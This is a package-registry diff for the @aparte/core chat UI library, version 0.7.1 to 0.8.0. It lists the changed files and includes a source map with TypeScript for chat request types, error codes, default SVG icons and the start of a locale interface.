@aparte/core 0.7.1 → 0.8.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +20 -6
- package/dist/client/aparte-client.d.ts +113 -47
- package/dist/client/aparte-client.d.ts.map +1 -1
- package/dist/client/lifecycle-events.d.ts +55 -0
- package/dist/client/lifecycle-events.d.ts.map +1 -0
- package/dist/client/stream-adapter.d.ts +11 -5
- package/dist/client/stream-adapter.d.ts.map +1 -1
- package/dist/client/xml-artifact-feed.d.ts +76 -0
- package/dist/client/xml-artifact-feed.d.ts.map +1 -0
- package/dist/components/bubble/aparte-chat-bubble.d.ts +35 -8
- package/dist/components/bubble/aparte-chat-bubble.d.ts.map +1 -1
- package/dist/components/chat/aparte-chat.d.ts +0 -6
- package/dist/components/chat/aparte-chat.d.ts.map +1 -1
- package/dist/components/composer/aparte-composer-action.d.ts +18 -3
- package/dist/components/composer/aparte-composer-action.d.ts.map +1 -1
- package/dist/components/composer/aparte-composer-add-attachment.d.ts.map +1 -1
- package/dist/components/composer/aparte-composer-attachments.d.ts +1 -1
- package/dist/components/composer/aparte-composer-attachments.d.ts.map +1 -1
- package/dist/components/composer/aparte-composer-cancel.d.ts.map +1 -1
- package/dist/components/composer/aparte-composer-input.d.ts +0 -2
- package/dist/components/composer/aparte-composer-input.d.ts.map +1 -1
- package/dist/components/composer/aparte-composer-send.d.ts +5 -0
- package/dist/components/composer/aparte-composer-send.d.ts.map +1 -1
- package/dist/components/composer/aparte-composer-toolbar.d.ts +4 -0
- package/dist/components/composer/aparte-composer-toolbar.d.ts.map +1 -1
- package/dist/components/composer/aparte-composer.d.ts +64 -6
- package/dist/components/composer/aparte-composer.d.ts.map +1 -1
- package/dist/components/composer/index.d.ts +1 -1
- package/dist/components/composer/index.d.ts.map +1 -1
- package/dist/components/conversation-list/aparte-conversation-list.d.ts +2 -5
- package/dist/components/conversation-list/aparte-conversation-list.d.ts.map +1 -1
- package/dist/components/conversation-list/index.d.ts +1 -1
- package/dist/components/conversation-list/index.d.ts.map +1 -1
- package/dist/components/elicitation/aparte-elicitation.d.ts +63 -3
- package/dist/components/elicitation/aparte-elicitation.d.ts.map +1 -1
- package/dist/components/index.d.ts +2 -2
- package/dist/components/index.d.ts.map +1 -1
- package/dist/components/status/aparte-chat-status.d.ts +8 -6
- package/dist/components/status/aparte-chat-status.d.ts.map +1 -1
- package/dist/components/viewport/aparte-chat-viewport.d.ts +35 -9
- package/dist/components/viewport/aparte-chat-viewport.d.ts.map +1 -1
- package/dist/config/action-provider.d.ts +4 -4
- package/dist/config/aparte-config.d.ts +124 -41
- package/dist/config/aparte-config.d.ts.map +1 -1
- package/dist/config/attachment-renderer.d.ts +1 -1
- package/dist/config/avatar-provider.d.ts +1 -1
- package/dist/config/config-context.d.ts +66 -11
- package/dist/config/config-context.d.ts.map +1 -1
- package/dist/config/elicitation-field-renderer.d.ts +73 -0
- package/dist/config/elicitation-field-renderer.d.ts.map +1 -0
- package/dist/config/error-renderer.d.ts +1 -1
- package/dist/config/icon-provider.d.ts +2 -2
- package/dist/config/icon-provider.d.ts.map +1 -1
- package/dist/config/index.d.ts +7 -5
- package/dist/config/index.d.ts.map +1 -1
- package/dist/config/locale.d.ts +43 -2
- package/dist/config/locale.d.ts.map +1 -1
- package/dist/config/sanitize.d.ts +1 -7
- package/dist/config/sanitize.d.ts.map +1 -1
- package/dist/config/sibling-nav-renderer.d.ts +1 -1
- package/dist/config/skeleton-provider.d.ts +2 -2
- package/dist/config/skeleton-provider.d.ts.map +1 -1
- package/dist/config/status-renderer.d.ts +1 -1
- package/dist/conversations/conversation-controller.d.ts +19 -5
- package/dist/conversations/conversation-controller.d.ts.map +1 -1
- package/dist/conversations/conversation-manager.d.ts +2 -2
- package/dist/conversations/conversation-manager.d.ts.map +1 -1
- package/dist/conversations/index.d.ts +1 -1
- package/dist/conversations/index.d.ts.map +1 -1
- package/dist/conversations/types.d.ts +1 -1
- package/dist/custom-elements.json +6664 -4877
- package/dist/elicitation/index.d.ts +1 -1
- package/dist/elicitation/panel.d.ts +32 -0
- package/dist/elicitation/panel.d.ts.map +1 -1
- package/dist/elicitation/types.d.ts +29 -2
- package/dist/elicitation/types.d.ts.map +1 -1
- package/dist/host/aparte-chat-host.d.ts +3 -3
- package/dist/host/aparte-chat-host.d.ts.map +1 -1
- package/dist/{index-Dn7TH14G.js → index-BieFbKeW.js} +1795 -1238
- package/dist/index-BieFbKeW.js.map +1 -0
- package/dist/index.css +299 -21
- package/dist/index.d.ts +21 -13
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +447 -200
- package/dist/index.js.map +1 -1
- package/dist/index.node.d.ts +22 -13
- package/dist/index.node.d.ts.map +1 -1
- package/dist/index.node.js +54 -46
- package/dist/index.node.js.map +1 -1
- package/dist/interop/element-props.d.ts +1 -1
- package/dist/interop/element-props.d.ts.map +1 -1
- package/dist/parsers/aparte-stream-parser.d.ts.map +1 -1
- package/dist/primitives/index.d.ts +1 -1
- package/dist/primitives/index.d.ts.map +1 -1
- package/dist/primitives/select/aparte-optgroup.d.ts +15 -4
- package/dist/primitives/select/aparte-optgroup.d.ts.map +1 -1
- package/dist/primitives/select/aparte-option.d.ts +0 -5
- package/dist/primitives/select/aparte-option.d.ts.map +1 -1
- package/dist/primitives/select/aparte-select.d.ts +17 -5
- package/dist/primitives/select/aparte-select.d.ts.map +1 -1
- package/dist/primitives/select/index.d.ts +1 -1
- package/dist/primitives/select/index.d.ts.map +1 -1
- package/dist/renderers/markdown-stream.d.ts +42 -0
- package/dist/renderers/markdown-stream.d.ts.map +1 -0
- package/dist/renderers/segment-renderers.d.ts +20 -14
- package/dist/renderers/segment-renderers.d.ts.map +1 -1
- package/dist/renderers/segments/artifact/binary-file.d.ts +45 -0
- package/dist/renderers/segments/artifact/binary-file.d.ts.map +1 -0
- package/dist/renderers/segments/artifact/card.d.ts +3 -0
- package/dist/renderers/segments/artifact/card.d.ts.map +1 -0
- package/dist/renderers/segments/artifact/preview-document.d.ts +27 -0
- package/dist/renderers/segments/artifact/preview-document.d.ts.map +1 -0
- package/dist/renderers/segments/artifact/shared.d.ts +12 -0
- package/dist/renderers/segments/artifact/shared.d.ts.map +1 -0
- package/dist/renderers/segments/code.d.ts +3 -0
- package/dist/renderers/segments/code.d.ts.map +1 -0
- package/dist/renderers/segments/error.d.ts +3 -0
- package/dist/renderers/segments/error.d.ts.map +1 -0
- package/dist/renderers/segments/file-tree.d.ts +3 -0
- package/dist/renderers/segments/file-tree.d.ts.map +1 -0
- package/dist/renderers/segments/pipeline-waiting.d.ts +3 -0
- package/dist/renderers/segments/pipeline-waiting.d.ts.map +1 -0
- package/dist/renderers/segments/progress.d.ts +3 -0
- package/dist/renderers/segments/progress.d.ts.map +1 -0
- package/dist/renderers/segments/terminal.d.ts +3 -0
- package/dist/renderers/segments/terminal.d.ts.map +1 -0
- package/dist/renderers/segments/text.d.ts +10 -0
- package/dist/renderers/segments/text.d.ts.map +1 -0
- package/dist/renderers/segments/thinking.d.ts +3 -0
- package/dist/renderers/segments/thinking.d.ts.map +1 -0
- package/dist/renderers/segments/tool-call.d.ts +3 -0
- package/dist/renderers/segments/tool-call.d.ts.map +1 -0
- package/dist/runtime/message-repository.d.ts +3 -3
- package/dist/runtime/message-repository.d.ts.map +1 -1
- package/dist/transport/backend-handler.d.ts +19 -7
- package/dist/transport/backend-handler.d.ts.map +1 -1
- package/dist/transport/backend-transport.d.ts +1 -1
- package/dist/transport/backend-transport.d.ts.map +1 -1
- package/dist/transport/direct-transport.d.ts +4 -4
- package/dist/transport/direct-transport.d.ts.map +1 -1
- package/dist/transport/index.d.ts +2 -2
- package/dist/transport/index.d.ts.map +1 -1
- package/dist/transport/types.d.ts +3 -3
- package/dist/types/element-map.d.ts +69 -0
- package/dist/types/element-map.d.ts.map +1 -0
- package/dist/types/event-map.d.ts +84 -23
- package/dist/types/event-map.d.ts.map +1 -1
- package/dist/types/events.d.ts +206 -64
- package/dist/types/events.d.ts.map +1 -1
- package/dist/types/index.d.ts +4 -5
- package/dist/types/index.d.ts.map +1 -1
- package/dist/types/model-provider.d.ts +100 -54
- package/dist/types/model-provider.d.ts.map +1 -1
- package/dist/types/models.d.ts +29 -7
- package/dist/types/models.d.ts.map +1 -1
- package/dist/types/segments.d.ts +1 -8
- package/dist/types/segments.d.ts.map +1 -1
- package/dist/types/theming.d.ts +25 -37
- package/dist/types/theming.d.ts.map +1 -1
- package/dist/types/tools.d.ts +60 -15
- package/dist/types/tools.d.ts.map +1 -1
- package/dist/utils/escape.d.ts +46 -0
- package/dist/utils/escape.d.ts.map +1 -0
- package/dist/utils/files-to-attachments.d.ts +18 -1
- package/dist/utils/files-to-attachments.d.ts.map +1 -1
- package/dist/utils/uuid.d.ts +26 -0
- package/dist/utils/uuid.d.ts.map +1 -0
- package/package.json +3 -5
- package/dist/index-Dn7TH14G.js.map +0 -1
- package/dist/types/providers.d.ts +0 -93
- package/dist/types/providers.d.ts.map +0 -1
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"index-BieFbKeW.js","sources":["../src/types/chat.ts","../src/types/errors.ts","../src/config/icon-provider.ts","../src/config/locale.ts","../src/transport/types.ts","../src/transport/direct-transport.ts","../src/utils/uuid.ts","../src/parsers/aparte-stream-parser.ts","../src/parsers/aparte-event-stream.ts","../src/transport/backend-transport.ts","../src/transport/backend-handler.ts","../src/config/sanitize.ts","../src/utils/escape.ts","../src/config/aparte-config.ts","../src/config/config-context.ts","../src/config/skeleton-provider.ts","../src/renderers/markdown-stream.ts","../src/renderers/segments/text.ts","../src/renderers/segments/thinking.ts","../src/renderers/segments/code.ts","../src/renderers/segments/terminal.ts","../src/renderers/segments/error.ts","../src/renderers/segments/progress.ts","../src/renderers/segments/file-tree.ts","../src/renderers/segments/tool-call.ts","../src/renderers/segments/pipeline-waiting.ts","../src/renderers/segments/artifact/shared.ts","../src/renderers/segments/artifact/preview-document.ts","../src/renderers/segments/artifact/binary-file.ts","../src/renderers/segments/artifact/card.ts","../src/renderers/segment-renderers.ts","../src/components/bubble/bubble-sync.ts","../src/conversations/types.ts","../src/conversations/conversation-manager.ts","../src/utils/files-to-attachments.ts","../src/conversations/conversation-controller.ts","../src/utils/css-escape.ts","../src/host/aparte-chat-host.ts","../src/client/lifecycle-events.ts","../src/client/xml-artifact-feed.ts","../src/client/stream-adapter.ts","../src/client/aparte-client.ts","../src/runtime/message-repository.ts","../src/interop/element-props.ts","../src/utils/is-awaiting-reply.ts","../src/elicitation/panel.ts","../src/elicitation/index.ts"],"sourcesContent":["/**\n * Aparte Chat Request & Stream Types\n */\n\nimport type { AparteTool, AparteToolCall } from './tools.js';\nimport type { AparteSegment } from './segments.js';\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Content Parts — multimodal message content (Vercel AI SDK compatible)\n// ─────────────────────────────────────────────────────────────────────────────\n\n/** Plain text content part */\nexport interface AparteTextPart {\n type: 'text';\n text: string;\n}\n\n/**\n * Image content part.\n * `image` must be a base64 data URL: `data:image/png;base64,...`\n * The data URL encodes the MIME type, making it consumable by all providers.\n */\nexport interface AparteImagePart {\n type: 'image';\n image: string;\n mimeType?: string;\n}\n\n/**\n * File content part — reserved for future PDF/audio support.\n * `data` must be a base64 data URL.\n */\nexport interface AparteFilePart {\n type: 'file';\n data: string;\n mimeType: string;\n name?: string;\n}\n\n/** Discriminated union of all content part types */\nexport type AparteContentPart = AparteTextPart | AparteImagePart | AparteFilePart;\n\n/**\n * Extract plain text from a `string | AparteContentPart[]` content value.\n * Use this in providers and app-layer code whenever you need the text-only representation.\n */\nexport function contentToText(content: string | AparteContentPart[]): string {\n if (typeof content === 'string') return content;\n return content\n .filter((p): p is AparteTextPart => p.type === 'text')\n .map(p => p.text)\n .join('');\n}\n\nexport interface AparteChatMessage {\n role: 'user' | 'assistant' | 'system' | 'tool_call' | 'tool_result';\n /**\n * Message content — either a plain string (backward compatible) or an array\n * of typed content parts for multimodal messages (text + images + files).\n *\n * Use `contentToText(content)` to extract the text-only representation.\n */\n content: string | AparteContentPart[];\n /** For role='tool_call': tool calls made by the assistant in this turn */\n toolCalls?: AparteToolCall[];\n /** For role='tool_result': id of the tool call this responds to */\n toolCallId?: string;\n /** For role='tool_call': text streamed before the tool call in the same turn */\n precedingText?: string;\n}\n\nexport interface AparteChatRequest {\n messages: AparteChatMessage[];\n modelId: string;\n temperature?: number;\n maxTokens?: number;\n stream?: boolean;\n /** Tools the AI is allowed to call */\n tools?: AparteTool[];\n /**\n * Random seed for reproducibility / diversity.\n * Automatically set to a random integer on every `aparte-retry` so the\n * provider generates a different response even with the same history.\n * Supported by OpenAI, OpenRouter, LM Studio, Mistral, Ollama, and Gemini.\n * Anthropic does not expose a seed parameter — ignored silently there.\n */\n seed?: number;\n\n /**\n * Controls which tool the model must call — mirrors OpenAI tool_choice / Anthropic tool_choice.\n * - 'auto' : model decides (default when tools are present)\n * - 'none' : no tools injected this turn — model answers directly\n * - { name } : model MUST call this tool (provider injects a strong directive)\n * - { name, input }: synthetic call — the agent loop (inline `_streamLoop`\n * or the injected `runStreamAgent`) bypasses the LLM\n * entirely and runs the handler directly with the provided\n * input, then re-calls the LLM with the tool_result in history.\n */\n toolChoice?: 'auto' | 'none' | { name: string; input?: Record<string, unknown> };\n\n /**\n * Optional prefill string applied after the chat template's generation\n * prompt — the model continues from the end of this string. Provider- and\n * model-specific; core prescribes no syntax (the consuming app/orchestrator\n * decides what control tokens, if any, to inject). Providers that support a\n * \"continue final message\" mode apply it; others MAY ignore this field.\n */\n prefill?: string;\n\n /**\n * Verbatim system message to use INSTEAD of the provider building its own\n * (e.g. the transformers provider's tool-system-message). Generic transport\n * field : when set, the provider uses this string as the system message\n * as-is. `tools` may still be passed (for the tool-call parser/dispatch)\n * but is NOT re-rendered into the system prompt. Used to feed a fine-tuned\n * model its EXACT training system prompt (anti-OOD). Providers that build no\n * system message MAY ignore it.\n */\n systemOverride?: string;\n\n /**\n * Hint : stream tokens AS THEY ARRIVE (bypass the provider's flush-throttle).\n * Default throttling coalesces UI paints to protect WebGPU decode speed ;\n * a short codegen turn that drives a live preview (e.g. xlsx_ops ops) opts\n * in so the consumer can render progressively. Providers MAY ignore it.\n */\n fastStream?: boolean;\n\n /**\n * Opaque metadata bag threaded through the request pipeline (e.g. from a\n * requestInterceptor to the `_streamLoop` post-processor). Never sent to the\n * AI provider — stripped before the network call. The well-known keys are\n * typed; see {@link AparteRequestMeta}.\n */\n _meta?: AparteRequestMeta;\n}\n\n/** One phase of a multi-turn `_meta.pipeline` run: each phase is a single LLM\n * turn whose reply becomes context for the next. */\nexport type ApartePipelinePhase =\n | { mode: 'text'; system: string }\n | { mode: 'thinking'; system: string; label?: string }\n | { mode: 'artifact'; system: string; mimeType: string; kind: string };\n\n/** A `{ mimeType, kind }` artifact hint for the `_meta` artifact modes. */\nexport interface AparteArtifactHint {\n mimeType: string;\n kind: string;\n}\n\n/**\n * Well-known keys of {@link AparteChatRequest._meta}, typed for discoverability.\n * The index signature keeps it an open channel for consumer-specific context.\n * None of these reach the provider — they're stripped before the network call.\n */\nexport interface AparteRequestMeta {\n /** Multi-phase run — each phase is one LLM turn; reply N is context for N+1. */\n pipeline?: ApartePipelinePhase[];\n /** Segments injected into the bubble before streaming (e.g. a plan thinking block). */\n prefixSegments?: AparteSegment[];\n /** Promote the first code fence in the reply to an artifact (for small models that ignore `<artifact>` XML). */\n artifactHint?: AparteArtifactHint;\n /** Treat the WHOLE reply as a raw artifact of this kind. */\n artifactRaw?: AparteArtifactHint;\n /** Parse an `<artifact>` XML block of this kind out of the stream. */\n artifactXml?: AparteArtifactHint;\n /** Consumer-specific context (open channel). */\n [key: string]: unknown;\n}\n\n/**\n * Token usage reported by the AI provider after a completed response.\n */\nexport interface AparteUsage {\n /** Tokens in the prompt / conversation history sent to the model */\n inputTokens: number;\n /** Tokens generated by the model */\n outputTokens: number;\n /** Total tokens (inputTokens + outputTokens). Populated when the provider reports it. */\n totalTokens?: number;\n /** Tokens read from the provider's prompt cache (Anthropic, OpenAI). */\n cacheReadTokens?: number;\n /** Wall-clock generation time in milliseconds (provider-measured). Used to compute tokens/sec. */\n durationMs?: number;\n\n // ── Extended timing (offline transformers provider) ──────────────────\n /** Time to first token in ms — the prefill / TTFT phase. */\n ttftMs?: number;\n /** Decode-phase wall time in ms (≈ durationMs − ttftMs). */\n decodeMs?: number;\n /** Tokens emitted during the decode phase (outputTokens minus the first). */\n decodeTokens?: number;\n /** Total turn wall-clock time in ms, measured client-side across all phases. */\n wallMs?: number;\n /** Id of the model / aparteni that produced this response. */\n modelId?: string;\n /** Compute device used for this response ('webgpu' | 'wasm' | …). */\n device?: string;\n /**\n * Per-call breakdown when a single turn used several provider calls\n * (e.g. a tool-use round-trip or an aparteni hot-swap). Absent for a plain\n * single-call turn. Each entry is the AparteUsage of one provider call.\n */\n phases?: AparteUsage[];\n}\n\n/**\n * Normalized stream event map — extensible via declaration merging.\n *\n * @example\n * // In a plugin or app:\n * declare module '@aparte/core' {\n * interface AparteStreamEventMap {\n * tool_call: { name: string; arguments: string }\n * }\n * }\n */\nexport interface AparteStreamEventMap {\n text: { delta: string }\n thinking: { delta: string }\n /** Emitted when the stream ends. May carry token usage reported by the provider. */\n done: { usage?: AparteUsage }\n error: { message: string }\n tool_use: AparteToolCall\n}\n\n/** Discriminated union derived from AparteStreamEventMap — stays in sync automatically. */\nexport type AparteStreamEvent = {\n [K in keyof AparteStreamEventMap]: { type: K } & AparteStreamEventMap[K]\n}[keyof AparteStreamEventMap]\n\nexport type AparteChatResponse = ReadableStream<AparteStreamEvent> | string;\n","// AparteCore Standard Error Codes\nexport enum AparteErrorCode {\n // Configuration Errors (Dev/Host responsibility)\n CONFIG_NO_PROVIDER = 'CONFIG_NO_PROVIDER',\n CONFIG_MISSING_KEY = 'CONFIG_MISSING_KEY',\n CONFIG_INVALID_MODEL = 'CONFIG_INVALID_MODEL',\n\n // Usage Errors (User responsibility)\n USAGE_RATE_LIMIT = 'USAGE_RATE_LIMIT', // HTTP 429\n USAGE_CONTEXT_EXCEEDED = 'USAGE_CONTEXT_EXCEEDED', // HTTP 400\n USAGE_BAD_REQUEST = 'USAGE_BAD_REQUEST', // HTTP 400\n\n // Network & Infrastructure\n NET_OFFLINE = 'NET_OFFLINE',\n NET_TIMEOUT = 'NET_TIMEOUT',\n NET_ERROR = 'NET_ERROR',\n\n // Provider Errors (External Service)\n PROVIDER_ERROR = 'PROVIDER_ERROR', // HTTP 5xx\n PROVIDER_UNAVAILABLE = 'PROVIDER_UNAVAILABLE', // HTTP 503\n PROVIDER_POLICY = 'PROVIDER_POLICY', // Moderation / Policy\n\n // Internal\n UNKNOWN_ERROR = 'UNKNOWN_ERROR'\n}\n\nexport class AparteError extends Error {\n constructor(\n public override message: string,\n public code: AparteErrorCode,\n public data?: Record<string, unknown>,\n public originalError?: unknown,\n public httpStatus?: number\n ) {\n super(message);\n this.name = 'AparteError';\n }\n\n static from(error: unknown, defaultCode = AparteErrorCode.UNKNOWN_ERROR, defaultStatus?: number): AparteError {\n if (error instanceof AparteError) return error;\n\n const message = error instanceof Error ? error.message : String(error);\n\n // Try to infer status from error object if possible\n const status = (error as { status?: number; statusCode?: number })?.status || (error as { status?: number; statusCode?: number })?.statusCode || defaultStatus;\n\n return new AparteError(message, defaultCode, undefined, error, status);\n }\n}\n","/**\n * Icon Provider Interface\n * \n * Defines the contract for icon plugins.\n * Returns HTML strings: SVG, <i> tags, emojis, or any valid HTML.\n * \n * @example\n * // Register an icon provider (e.g. a FontAwesome bridge)\n * aparteGlobalConfig.setIconProvider({\n * copy: () => '<i class=\"fas fa-copy\"></i>',\n * check: () => '<i class=\"fas fa-check\"></i>',\n * // ...\n * });\n */\nexport interface AparteIconProvider {\n // EVERY key is optional: `aparteGlobalConfig.getIcon()` falls back to\n // `APARTE_DEFAULT_ICON_FALLBACKS` for any name a provider doesn't implement, so an\n // icon pack may cover just the icons it cares about (as the example above\n // shows). Requiring the full set made the type contradict the runtime and\n // forced consumers — and this repo's own tests — into `as any`.\n /** Copy button icon */\n copy?: () => string;\n /** Success/check icon */\n check?: () => string;\n /** Send message icon */\n send?: () => string;\n /** Loading/spinner indicator */\n loading?: () => string;\n /** Error indicator */\n error?: () => string;\n /** Expand/show more icon */\n expand?: () => string;\n /** Collapse/show less icon */\n collapse?: () => string;\n /** Terminal/command prompt icon */\n terminal?: () => string;\n /** File attachment / paperclip icon (used by upload plugin) */\n paperclip?: () => string;\n /** Image file icon (used by upload plugin) */\n image?: () => string;\n /** Generic file icon (used by upload plugin) */\n file?: () => string;\n /** Scroll to bottom button icon */\n scrollDown?: () => string;\n /** Retry / regenerate icon */\n retry?: () => string;\n /** Edit / pencil icon */\n edit?: () => string;\n /** Thumbs up / positive feedback icon */\n thumbUp?: () => string;\n /** Thumbs down / negative feedback icon */\n thumbDown?: () => string;\n /** Previous branch arrow */\n prevBranch?: () => string;\n /** Next branch arrow */\n nextBranch?: () => string;\n /** Tool call indicator (wrench) */\n tool?: () => string;\n /** Close / failed / rejected (✕) */\n close?: () => string;\n /** Stop / halt streaming (■) */\n stop?: () => string;\n}\n\n/** Icon names available in the provider */\nexport type AparteIconName = keyof AparteIconProvider;\n\n/** Default textual fallbacks - zero dependency */\nexport const APARTE_DEFAULT_ICON_FALLBACKS: Record<AparteIconName, string> = {\n copy: `<svg width=\"14\" height=\"14\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><rect x=\"9\" y=\"9\" width=\"13\" height=\"13\" rx=\"2\"/><path d=\"M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0 0 1 2 2v1\"/></svg>`,\n check: `<svg width=\"14\" height=\"14\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><polyline points=\"20 6 9 17 4 12\"/></svg>`,\n send: `<svg width=\"20\" height=\"20\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><line x1=\"22\" y1=\"2\" x2=\"11\" y2=\"13\"/><polygon points=\"22 2 15 22 11 13 2 9 22 2\"/></svg>`,\n loading: `<svg width=\"14\" height=\"14\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" class=\"aparte-icon-spin\"><circle cx=\"12\" cy=\"12\" r=\"10\" stroke-opacity=\"0.25\"/><path d=\"M12 2a10 10 0 0 1 10 10\"/></svg>`,\n error: `<svg width=\"14\" height=\"14\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><circle cx=\"12\" cy=\"12\" r=\"10\"/><line x1=\"12\" y1=\"8\" x2=\"12\" y2=\"12\"/><line x1=\"12\" y1=\"16\" x2=\"12.01\" y2=\"16\"/></svg>`,\n expand: `<svg width=\"14\" height=\"14\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><polyline points=\"6 9 12 15 18 9\"/></svg>`,\n collapse: `<svg width=\"14\" height=\"14\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><polyline points=\"18 15 12 9 6 15\"/></svg>`,\n terminal: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><polyline points=\"4 17 10 11 4 5\"/><line x1=\"12\" y1=\"19\" x2=\"20\" y2=\"19\"/></svg>`,\n paperclip: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><path d=\"m21.44 11.05-9.19 9.19a6 6 0 0 1-8.49-8.49l8.57-8.57A4 4 0 1 1 18 8.84l-8.59 8.57a2 2 0 0 1-2.83-2.83l8.49-8.48\"/></svg>`,\n image: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><rect x=\"3\" y=\"3\" width=\"18\" height=\"18\" rx=\"2\"/><circle cx=\"8.5\" cy=\"8.5\" r=\"1.5\"/><polyline points=\"21 15 16 10 5 21\"/></svg>`,\n file: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><path d=\"M14.5 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V7.5L14.5 2z\"/><polyline points=\"14 2 14 8 20 8\"/></svg>`,\n scrollDown: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><line x1=\"12\" y1=\"5\" x2=\"12\" y2=\"19\"/><polyline points=\"19 12 12 19 5 12\"/></svg>`,\n retry: `<svg width=\"14\" height=\"14\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><path d=\"M3 12a9 9 0 1 0 9-9 9.75 9.75 0 0 0-6.74 2.74L3 8\"/><path d=\"M3 3v5h5\"/></svg>`,\n edit: `<svg width=\"14\" height=\"14\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><path d=\"M11 4H4a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-7\"/><path d=\"M18.5 2.5a2.121 2.121 0 0 1 3 3L12 15l-4 1 1-4 9.5-9.5z\"/></svg>`,\n thumbUp: `<svg width=\"14\" height=\"14\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><path d=\"M7 10v12\"/><path d=\"M15 5.88 14 10h5.83a2 2 0 0 1 1.92 2.56l-2.33 8A2 2 0 0 1 17.5 22H4a2 2 0 0 1-2-2v-8a2 2 0 0 1 2-2h2.76a2 2 0 0 0 1.79-1.11L12 2a3.13 3.13 0 0 1 3 3.88Z\"/></svg>`,\n thumbDown: `<svg width=\"14\" height=\"14\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><path d=\"M17 14V2\"/><path d=\"M9 18.12 10 14H4.17a2 2 0 0 1-1.92-2.56l2.33-8A2 2 0 0 1 6.5 2H20a2 2 0 0 1 2 2v8a2 2 0 0 1-2 2h-2.76a2 2 0 0 0-1.79 1.11L12 22a3.13 3.13 0 0 1-3-3.88Z\"/></svg>`,\n prevBranch: `<svg width=\"14\" height=\"14\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2.5\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><polyline points=\"15 18 9 12 15 6\"/></svg>`,\n nextBranch: `<svg width=\"14\" height=\"14\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2.5\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><polyline points=\"9 18 15 12 9 6\"/></svg>`,\n tool: `<svg width=\"14\" height=\"14\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><path d=\"M14.7 6.3a1 1 0 0 0 0 1.4l1.6 1.6a1 1 0 0 0 1.4 0l3.77-3.77a6 6 0 0 1-7.94 7.94l-6.91 6.91a2.12 2.12 0 0 1-3-3l6.91-6.91a6 6 0 0 1 7.94-7.94l-3.76 3.76z\"/></svg>`,\n close: `<svg width=\"14\" height=\"14\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><line x1=\"18\" y1=\"6\" x2=\"6\" y2=\"18\"/><line x1=\"6\" y1=\"6\" x2=\"18\" y2=\"18\"/></svg>`,\n stop: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"currentColor\"><rect x=\"2\" y=\"2\" width=\"12\" height=\"12\" rx=\"2\"/></svg>`,\n};\n","/**\n * Aparte Locale Interface\n *\n * Defines all translatable strings for the chat interface.\n * The core keeps only the English default in memory.\n * Other languages are injected via aparteGlobalConfig.setLocale().\n */\n\nexport interface AparteLocale {\n // --- Input Area ---\n inputPlaceholder: string;\n sendButton: string;\n\n // --- Message Actions ---\n copy: string;\n copied: string;\n retry: string;\n\n // --- Status Indicators ---\n thinking: string;\n typing: string; // Core status: \"Typing...\"\n error: string;\n running: string; // Terminal running state\n\n // --- Terminal ---\n run: string; // \"Run\" button\n\n // --- Files ---\n file: string; // Generic \"File\" label\n\n // --- Role Names ---\n /** Display name shown above the user's messages (default: \"You\") */\n roleNameUser: string;\n /** Display name shown above the assistant's messages (default: \"Assistant\") */\n roleNameAssistant: string;\n\n 